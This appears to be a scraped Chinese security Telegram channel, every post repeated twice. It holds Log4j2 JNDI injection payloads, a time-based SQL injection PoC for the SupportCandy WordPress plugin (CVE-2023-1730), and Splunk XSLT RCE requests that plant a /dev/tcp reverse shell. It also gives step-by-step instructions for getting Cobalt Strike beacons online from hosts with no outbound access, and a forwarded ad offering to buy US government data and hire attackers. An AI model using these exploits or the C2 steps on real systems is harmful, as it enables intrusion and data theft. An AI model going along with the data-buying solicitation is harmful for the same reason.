关于log4j2漏洞的利用,今天下午江户川遇到的问题
测试最简单的原版${jndi:ldap://a496eb671c.ipv6.1433.eu.org} ,去dnslog网站看一眼,诶,收到回显了。然后加上命令参数,比如先看一眼java版本,输入${jndi:ldap://a496eb671c.${java:version}.ipv6.1433.eu.org},在dnslog网站怎么都收不到回显
造成这种情况的原因挺多,自己懒狗运维不看日志的MessageConverter默认关了有可能,他的嵌套调用做了replace截取字段不一样有可能,等你自己去fuzz路径到死。最恶俗的装了waf过滤jndi高危执行也有可能……情况很多
然后我没想到的是其实是${java:version}这个测试的命令出了问题,因为测试命令换成${jndi:ldap://a496eb671c.ipv6.1433.eu.org/calc},就收到回显了(离谱)。想了一下应该是Log4j2解析参数里的占位符把{java:version}换成版本号输出的时候,版本号里面带.这玩意,你看着是版本号里的一个点,其实人家的作用还有作配置文件中的变量替换,马上又递归解析为子协议。因为log4j2漏洞的原理就是JndiLookup里面那几个杂七杂八的解释器获取一堆转换器名称最后触发Logger.error(),我自己脑子里反正是没搞清楚后续怎么一个流程,很复杂,结论就是你java:version带占位符继续会触发一堆杂七杂八的玩意,反正触发不了jndi注入
测试最简单的原版${jndi:ldap://a496eb671c.ipv6.1433.eu.org} ,去dnslog网站看一眼,诶,收到回显了。然后加上命令参数,比如先看一眼java版本,输入${jndi:ldap://a496eb671c.${java:version}.ipv6.1433.eu.org},在dnslog网站怎么都收不到回显
造成这种情况的原因挺多,自己懒狗运维不看日志的MessageConverter默认关了有可能,他的嵌套调用做了replace截取字段不一样有可能,等你自己去fuzz路径到死。最恶俗的装了waf过滤jndi高危执行也有可能……情况很多
然后我没想到的是其实是${java:version}这个测试的命令出了问题,因为测试命令换成${jndi:ldap://a496eb671c.ipv6.1433.eu.org/calc},就收到回显了(离谱)。想了一下应该是Log4j2解析参数里的占位符把{java:version}换成版本号输出的时候,版本号里面带.这玩意,你看着是版本号里的一个点,其实人家的作用还有作配置文件中的变量替换,马上又递归解析为子协议。因为log4j2漏洞的原理就是JndiLookup里面那几个杂七杂八的解释器获取一堆转换器名称最后触发Logger.error(),我自己脑子里反正是没搞清楚后续怎么一个流程,很复杂,结论就是你java:version带占位符继续会触发一堆杂七杂八的玩意,反正触发不了jndi注入
👍6👎3
WordPress plugin SupportCandy SQL注入漏洞POC(CVE-2023-1730)
GET / HTTP 1.1Host:127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36Connection: closeCookie: wpsc_guest_login_auth={"email":"' AND (SELECT 42 FROM (SELECT(SLEEP(6)))NNTu)-- cLmu"}Accept-Encoding: gzip
GET / HTTP 1.1Host:127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36Connection: closeCookie: wpsc_guest_login_auth={"email":"' AND (SELECT 42 FROM (SELECT(SLEEP(6)))NNTu)-- cLmu"}Accept-Encoding: gzip
❤1
灵异事件
起因是某人经典的扫描器能扫出来打poc能执行测试命令但是写不了shell
,把口子给我了让我看咋回事
拉了一个vul环境我手动测试跟着复现步骤一步一步走的,Injection.jar拷贝到他那个漏洞报告说的路径下面执行,结果很奇异的touch/tmp/CVE这个目录没有生成他正常复现流程里面执行这个jar过后应该生成的文件,但是没有报错回显所以当时我没有发觉这个事情,后来我才察觉的。离谱的是按理说这一步已经错了,他还是把那个随机产生的ldap链接给生成出来并且回显给我,让我感觉似乎一切都在顺利进行。具体什么原理我也不清楚,原文里面coherence库执行了一坨,中间的代码我没看,总之一开始getClass()就已经错了(tmp目录下面传入的文件就不对)拿着错误的传入文件一路执行,居然到最后method = ClassHelper.findMethod(巴拉巴拉……)这一行又顺利跑起来了,并且真string了一个莫名其秒的ldap链给我。最后直观呈现的离谱结果就是我在复现的时候,我甚至是ssh连接过后拿靶场的shell去执行这个exp文件了,显示执行得好好的但是怎么都访问不到复现成功应该生成的新shell
搜了一下网上完全没有出现过这个现象的文章,T3协议我也是手动在配置文件里开启的,离了大谱
起因是某人经典的扫描器能扫出来打poc能执行测试命令但是写不了shell
,把口子给我了让我看咋回事
拉了一个vul环境我手动测试跟着复现步骤一步一步走的,Injection.jar拷贝到他那个漏洞报告说的路径下面执行,结果很奇异的touch/tmp/CVE这个目录没有生成他正常复现流程里面执行这个jar过后应该生成的文件,但是没有报错回显所以当时我没有发觉这个事情,后来我才察觉的。离谱的是按理说这一步已经错了,他还是把那个随机产生的ldap链接给生成出来并且回显给我,让我感觉似乎一切都在顺利进行。具体什么原理我也不清楚,原文里面coherence库执行了一坨,中间的代码我没看,总之一开始getClass()就已经错了(tmp目录下面传入的文件就不对)拿着错误的传入文件一路执行,居然到最后method = ClassHelper.findMethod(巴拉巴拉……)这一行又顺利跑起来了,并且真string了一个莫名其秒的ldap链给我。最后直观呈现的离谱结果就是我在复现的时候,我甚至是ssh连接过后拿靶场的shell去执行这个exp文件了,显示执行得好好的但是怎么都访问不到复现成功应该生成的新shell
搜了一下网上完全没有出现过这个现象的文章,T3协议我也是手动在配置文件里开启的,离了大谱
❤2
Splunk Enterprise XML Parsing 远程代码执行漏洞
上传文件
POST /en-US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl HTTP/1.1Host: 10.211.55.3:8000User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0Accept-Encoding: gzip, deflateAccept: text/javanoscript, text/html, application/xml, text/xml, */*Connection: keep-aliveX-Requested-With: XMLHttpRequestX-Splunk-Form-Key: 14405369367646981099Cookie: session_id_8000=a74248449dd62e179dd17c05239d79708108da5f; splunkd_8000=O8DQPrZvhze8hbm7y^q^hgThhqSnx5RNXWEw7FU1lUbFUKO03x5n_DiqI0^m36KB2MZvtQxQpR^kgDUHFbcrxW4avet7juFQKvzaRbBDgARHZiZFqNiLaByswQCKCHIYmC; splunkweb_csrf_token_8000=14405369367646981099Content-Length: 620Content-Type: multipart/form-data; boundary=3d5f09288540918f033268ff6bceb049--3d5f09288540918f033268ff6bceb049Content-Disposition: form-data; name="spl-file"; filename="shell.xsl"Content-Type: application/xslt+xml<?xml version="1.0" encoding="UTF-8"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl"> <xsl:template match="/"> <exsl:document href="/opt/splunk/bin/noscripts/shell.sh" method="text"> <xsl:text>sh -i >& /dev/tcp/8.8.8.8/12388 0>&1</xsl:text> </exsl:document> </xsl:template></xsl:stylesheet>--3d5f09288540918f033268ff6bceb049--
解析文件
上传文件
POST /en-US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl HTTP/1.1Host: 10.211.55.3:8000User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0Accept-Encoding: gzip, deflateAccept: text/javanoscript, text/html, application/xml, text/xml, */*Connection: keep-aliveX-Requested-With: XMLHttpRequestX-Splunk-Form-Key: 14405369367646981099Cookie: session_id_8000=a74248449dd62e179dd17c05239d79708108da5f; splunkd_8000=O8DQPrZvhze8hbm7y^q^hgThhqSnx5RNXWEw7FU1lUbFUKO03x5n_DiqI0^m36KB2MZvtQxQpR^kgDUHFbcrxW4avet7juFQKvzaRbBDgARHZiZFqNiLaByswQCKCHIYmC; splunkweb_csrf_token_8000=14405369367646981099Content-Length: 620Content-Type: multipart/form-data; boundary=3d5f09288540918f033268ff6bceb049--3d5f09288540918f033268ff6bceb049Content-Disposition: form-data; name="spl-file"; filename="shell.xsl"Content-Type: application/xslt+xml<?xml version="1.0" encoding="UTF-8"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl"> <xsl:template match="/"> <exsl:document href="/opt/splunk/bin/noscripts/shell.sh" method="text"> <xsl:text>sh -i >& /dev/tcp/8.8.8.8/12388 0>&1</xsl:text> </exsl:document> </xsl:template></xsl:stylesheet>--3d5f09288540918f033268ff6bceb049--
解析文件
GET /en-US/api/search/jobs/1700617012.37/results?xsl=/opt/splunk/var/run/splunk/dispatch/1700617012.36/shell.xsl HTTP/1.1Host: 10.211.55.3:8000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflateAccept: */*Connection: keep-aliveCookie: session_id_8000=a74248449dd62e179dd17c05239d79708108da5f; splunkd_8000=O8DQPrZvhze8hbm7y^q^hgThhqSnx5RNXWEw7FU1lUbFUKO03x5n_DiqI0^m36KB2MZvtQxQpR^kgDUHFbcrxW4avet7juFQKvzaRbBDgARHZiZFqNiLaByswQCKCHIYmC; splunkweb_csrf_token_8000=14405369367646981099👍2
Forwarded from xnx tobobo
收美国政府数据最低要求部委
最高预算50万美元
另外部门招人请投你的简历只要你够优秀
成员包括世界大赛冠军
年工资30万美元
安排远程面试
最低要求oscp证书以上
最高预算50万美元
另外部门招人请投你的简历只要你够优秀
成员包括世界大赛冠军
年工资30万美元
安排远程面试
最低要求oscp证书以上
👍4
一款可以在不出网的环境下进行反向代理及cs上线的工具
C2ReverseProxy
ReverseProxy C2 - 在不出网的情况下使cs上线
使用步骤:
1、将C2noscript目录下的对应文件,如proxy.php 以及C2ReverseServer上传到目标服务器。
2、使用C2ReverseServer建立监听端口:
./C2ReverseServer (默认为64535)
3、修改C2noscript目录下对应文件的PORT,与C2ReverseServer监听的端口一致。
4、本地或C2服务器上运行C2ReverseClint工具
./C2ReverseClint -t C2IP:C2ListenerPort -u Example Domain (传送到目标服务器上的proxy.php路径)
5、使用CobaltStrike建立本地Listener(127.0.0.1 64535)端口与C2ReverseServer建立的端口对应
6、使用建立的Listner生成可执行文件beacon.exe传至目标服务器运行
7、可以看到CobaltStrike上线。
C2ReverseProxy
ReverseProxy C2 - 在不出网的情况下使cs上线
使用步骤:
1、将C2noscript目录下的对应文件,如proxy.php 以及C2ReverseServer上传到目标服务器。
2、使用C2ReverseServer建立监听端口:
./C2ReverseServer (默认为64535)
3、修改C2noscript目录下对应文件的PORT,与C2ReverseServer监听的端口一致。
4、本地或C2服务器上运行C2ReverseClint工具
./C2ReverseClint -t C2IP:C2ListenerPort -u Example Domain (传送到目标服务器上的proxy.php路径)
5、使用CobaltStrike建立本地Listener(127.0.0.1 64535)端口与C2ReverseServer建立的端口对应
6、使用建立的Listner生成可执行文件beacon.exe传至目标服务器运行
7、可以看到CobaltStrike上线。
👍3❤1


